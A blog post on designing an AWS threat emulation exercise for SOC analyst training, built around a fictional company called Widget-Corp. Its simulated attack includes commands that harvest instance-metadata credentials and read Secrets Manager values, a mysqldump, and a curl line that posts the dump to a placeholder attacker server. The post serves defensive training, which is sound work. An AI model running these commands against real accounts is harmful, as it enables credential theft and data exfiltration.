How to build a useful (and entertaining) threat emulation exercise for AWS

Security operations · 7 MIN READ · DAN WHALEN · APR 4, 2019 · TAGS: Cloud security / Get technical / How to / Managed security / SOC

If you ask the average security analyst how they detect threats in Amazon Web Services (AWS), you’ll probably get some blank stares, shrugs or a few mumblings about exposed S3 buckets and bitcoin mining. The problem is that many orgs aren’t fully aware of the risks that exist in their AWS environment, and they’re still learning what they’re responsible for securing versus what AWS monitors.

That’s exactly why we love threat emulation exercises and practice them regularly. Simulating realistic attacks in cloud environments help our analysts build muscle memory and prepare them to act quickly and correctly when something bad happens.

Getting started

Lots of our customers run at least part of their infrastructure in AWS, so we’ve built quite a few threat emulation exercises that are specific to the AWS environment. They help our analysts sharpen their intuition around AWS services, better understand cloud-based evidence sources and dig into the investigative workflow.

Want to create an AWS-focused threat emulation exercise? Here are our tips and tricks for building your own.

Step 1: Define the goals and scope

Sure, crafting the story for your exercise is the fun part but before putting pen to paper, think about what you (and your team, if you’re lucky enough to have one) want to get out of the exercise. What are your goals? Here are the two priorities we had when we ran our first AWS threat emulation exercise:

• Learn about different kinds of AWS attacks, especially the ones that aren’t intuitive
  AWS is a new challenge for security analysts who cut their teeth in traditional enterprise response, so there aren’t many parallels between AWS attacks and the on-prem ones most security analysts are used to investigating. That’s because there are tons of AWS services — over 100 to be exact — each with their own nuances and security implications. As an industry, we’re still learning about areas of risk with each AWS service — think misconfiguration of Amazon S3 bucket access policies and credential theft via Amazon EC2. By building some of these new attack vectors into our threat emulation exercises, we improved our SOC’s ability to investigate and respond to these kinds of attacks when they happen in the real world.

• Get hands-on experience with common AWS services
  Even if you dedicate time to read through (the admittedly very comprehensive) AWS documentation, it’s inevitably tough to remember it all (and know how to act on it) in a real-world, high-pressure situation. Getting hands-on experience with AWS services like Amazon EC2, Amazon S3 and Amazon RDS helps you commit this information to memory so you’ll be more prepared to act quickly when an attack happens. For example, during threat emulation exercises Expel analysts log into “compromised” EC2 instances and collect forensic information for analysis. Through this process, they get familiar with other sources of evidence from AWS services like Amazon CloudTrail and Amazon GuardDuty.

Step 2: Build the thing

Building a threat emulation requires more than just standing up infrastructure. Here are the building blocks you can use to create your own exercise:

• Craft an engaging story
  During threat emulations, you want your analysts to learn new things, work toward a common goal and have fun while doing all of it. Create a realistic story but add a dash of humor here and there. We created a fictional organization dubbed Widget-Corp, complete with pretend employees, a website and a business model. To make our scenario even more believable, we developed personas for Widget-Corp employees including descriptions of what “normal” activities for these employees looked like. This gave our analysts the challenge of figuring out what behavior was legitimate and what was suspect during the simulation.Take a look at our Widget-Corp “employee” profiles and the story we crafted:

• • Build believable infrastructure
    Build your environment based on the goals you set for the exercise. We created a new AWS account that included all the infrastructure we wanted to be part of the simulation. Pro tip: Create an architecture diagram to keep track of all the (literally) moving parts. Here’s an example:
    
  • Generate benign activity
    Remember those personas we created? Once our infrastructure was up and running, we generated “normal” activity for each Widget-corp employee. This makes the exercise more realistic because you’ll have to figure out what’s routine (like Donna accessing a secret or James committing source code to an Amazon S3 bucket) versus a red flag. Generating this activity is easy. Just log in and perform the actions you’d expect that persona to do in AWS on a regular basis.

• Choose a plausible attack scenario
  Think about the risks that exist in your own environment and use them as inspiration for your attack scenario. In our case, we simulated an end-to-end AWS attack starting with compromised credentials for a low-privilege user and ending in complete access to the environment. It may sound kind of extreme but this kind of attack happens more often than you’d think — attackers often gain access to something small like an API key committed to a public GitHub repository and end up with the keys to the kingdom.

Step 3: Execute the simulated attack

Once you’ve built your AWS environment and your scenario, it’s time for the real fun to begin. Here’s what our simulated attack looked like:

1. 1. Attacker gains initial access via compromised credentials
      We kicked off our scenario by having our attacker compromise credentials from one of our faux employees, Mr. Smith. Let’s pretend he downloaded a file and inadvertently installed malware on his laptop. Our crafty attacker then logged into the Widget-Corp EC2 server with his credentials:
   2. Attacker pokes around for interesting data
      Now that the attacker is on the development server, he’s trying to get his hands on any juicy corporate data. Maybe he does some basic discovery like:• Seeing what commands poor Mr. Smith ran recently (cat ~/.bash_history)
      • Searching the file system for interesting files
      In this case, the attacker sees that Mr. Smith wrote some widget source code and uploaded it to S3.

1. 1. Attacker escalates privileges
      Now this clever attacker has access to everything James Smith does, but that’s not going to be enough to accomplish his mission. One common way attackers escalate privileges in AWS is to dump credentials from the EC2 instance metadata service. Our attacker knows this and tries to get credentials with additional permissions:
      
      Nice! By using curl to access the metadata service at 169.254.169.254, the attacker discovered that the widget development instance is assigned an IAM role EC2DeveloperRole and the attacker can retrieve temporary credentials for this role. Using these credentials, he can search for more company data. Now he’s looking for the Widget Database server and Widget Web server credentials.

1. 1. Attacker collects web server and database secrets
      Our attacker stole access keys from the Widget-Corp development server and he’s moving on to retrieving secrets stored in the AWS Secret Manager. Listing the available secrets is as easy as:aws --profile widget-dev secretsmanager list-secrets
      
      Jackpot! The attacker finds credentials for the Widget Database server and Widget Web server. Here’s how he retrieved them:aws --profile widget-dev secretsmanager get-secret-value --secret-id WidgetDatabaseCredentials


1. 1. Attacker performs additional post-compromise activities
      The attacker isn’t done quite yet. Now that he has the keys to the kingdom, he can do all kinds of nefarious things. For the purposes of this exercise, we pretended that he dumped and exfiltrated the contents of the database server and defaced the web server:mysqldump -h widgetcorp-db.us-east-1.rds.amazonaws.com -u dbadmin -p
customerdata > dump.sql
curl -X POST -d @dump.sql http://<attacker server>:443Mission complete! Now that your attack scenario is ready to go, it’s time to unleash the analysts and see if the team can retrace these steps — highlighting detection gaps along the way.

Step 4: Build the investigative steps and guidelines

Building out the process that analysts will follow for the exercise is just as crucial as building the infrastructure. All of your hard work will be for nothing if the analysts get stuck and frustrated.

We’ve had luck with using Google Forms to guide our analysts through the threat emulation exercise and prompt them to ask questions along the way. Here’s an example of a few of the initial questions we ask our analysts to answer during the exercise:

Once you have a draft, have someone else on your team who’s experienced give it a read. This will help you identify any ambiguous steps or process gaps — basically areas that need tweaking in your plan — that might trip up your analysts.

Step 5: Run the exercise

Once you’ve got your infrastructure up and running and have your simulation ready, press “go” and have your analysts get to work. Schedule dedicated time for your analysts to run through the scenario, answer questions and hopefully learn a thing or two.

As your analysts get to work, don’t miss the opportunity for them to practice their communication skills. We’ve had success (and a lot of fun) using the personas we create to inject a bit of chaos. For example, we’ve had Mr. Widget himself call the SOC and request an update on how the investigation is going. This is a great way to get the team used to communicating about investigations in AWS.

What’s next?

After running a threat emulation, it’s valuable to talk as a team about what worked well and what we can do better next time. Don’t fret if the exercise exposes gaps — that’s the point! Document these gaps and see if you can make changes to improve your next exercise.